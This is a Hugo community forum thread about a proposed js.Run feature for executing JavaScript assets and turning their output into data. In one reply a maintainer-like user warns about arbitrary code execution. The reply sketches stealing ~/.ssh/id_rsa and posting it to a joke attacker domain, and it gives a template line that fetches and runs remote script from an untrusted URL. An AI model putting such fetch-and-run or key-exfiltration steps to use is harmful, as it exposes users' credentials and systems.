How to "run" Javascript files with Pipes

I’m 90% sure this is not possible but I wonder if anyone managed this somehow. For some users not comfortable with Go Template + Hugo it might be easier to use Javascript and Hugo Pipes to create bulk of data (for the future ability to build pages from data for ex…).

Has anyone managed to use js.Build and produce a json string instead of a compiled JS file?

I think it woudl be a great way to create dynamic configuration files (either as a core feature, or using Hugo Pipes).

In any case I think it would be beneficial for current and future users to be able to

  1. “.Get” a javascript asset file whose purpose to print JSON,
  2. run it with Hugo
  3. and transform.Unmarshal its .Content.

The purpose of this thread is to feel if this is not complete non-sense before suggesting the addition of js.Run :slight_smile:

Is this the general concept?

{{ $data := resources.Get "js/get-remote-json.js" | node | unmarshal }}
1 Like

Yes indeed!

You can do a lot with Node.js. Including things like reading $HOME/.ssh/id_rsa and posting the contents to https://i-just-stole-your-private-key.org.

So I am a bit concerned about arbitrary code execution.

{{ $url := "https://you-can-trust-me.org/really-you-can.js" }}
{{ $data := resources.GetRemote $url | node }}

There may be ways to restrict and protect, but this was the first thing that popped into my head.

I have not read the entire thread, but it’s called js.Build and not … js.Run. We would have promoted this heavily if that was the case.

I have done some experiments in this area here:

This could work great as a scripting language for e.g. configuration, but I have not thought further about this.

Yes I’m proposing (if this makes sense) that we add js.Run.